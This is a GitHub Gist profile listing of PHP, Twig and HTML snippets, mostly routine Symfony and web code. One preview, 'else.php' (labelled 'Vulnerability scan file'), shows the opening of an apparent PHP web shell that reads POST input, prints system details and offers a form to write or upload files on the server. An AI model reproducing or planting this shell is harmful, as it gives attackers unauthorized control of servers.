Skip to content

Instantly share code, notes, and snippets.

View smottt's full-sized avatar

Metod smottt

View GitHub Profile
@smottt
smottt / fix.php
Created January 31, 2012 20:08
Serialization of 'Symfony\Component\HttpFoundation\File\UploadedFile' is not allowed.
<?php
public function __sleep()
{
$ref = new \ReflectionClass(__CLASS__);
$props = $ref->getProperties(\ReflectionProperty::IS_PROTECTED);
$serialize_fields = array();
foreach ($props as $prop) {
@smottt
smottt / contenteditable.html
Created April 11, 2012 15:31
contenteditable example
<html>
<head>
<title>contenteditable example</title>
</head>
<body>
<!-- html code ... -->
<article contenteditable="true" date-edit-url="update.php">
Some content here ...
</article>
@smottt
smottt / template.html.twig
Created January 16, 2012 15:12
Check if symfony2 form has errors in a twig template
{% if form.get('errors') is not empty %}
Magic errors display!
{% endif %}
<?php
function getName(array $result)
{
// resets the array pointer
// possibly be bad
// but let's say it isn't in this case
$firstEntry = reset($result);
if (is_array($firstEntry) && isset($firstEntry['name'])) {
<?php
$i = 0;
foreach ($result as $rt_val) {
if (!$i) {
echo $rt_val['name'];
}
$i++;
<?php $i=0; foreach($result as $rt_val) { if(!$i) echo $rt_val['name']; $i++; }
@smottt
smottt / else.php
Created February 1, 2012 10:46
Vulnerability scan file
<?php
$content = stripslashes($_POST['content']);
$cfile = $_POST['cfile'];
$ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
{% if form.vars['errors'] is not empty %}
Magic errors display!
{% endif %}
@smottt
smottt / LoginListener.php
Last active December 17, 2015 06:56
Symfony2 Custom Login Even Listener
<?php
namespace Acme\UserBundle\Listener;
use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
use Symfony\Component\Security\Core\SecurityContext;
use Doctrine\Bundle\DoctrineBundle\Registry as Doctrine; // for Symfony 2.1.0+
// use Symfony\Bundle\DoctrineBundle\Registry as Doctrine; // for Symfony 2.0.x
/**
configoptions="
--with-config-file-path=/etc/php54 \
--with-config-file-scan-dir=/etc/php54/php.d \
--with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
--enable-cli \
--with-pear \
--with-openssl \
--with-iconv \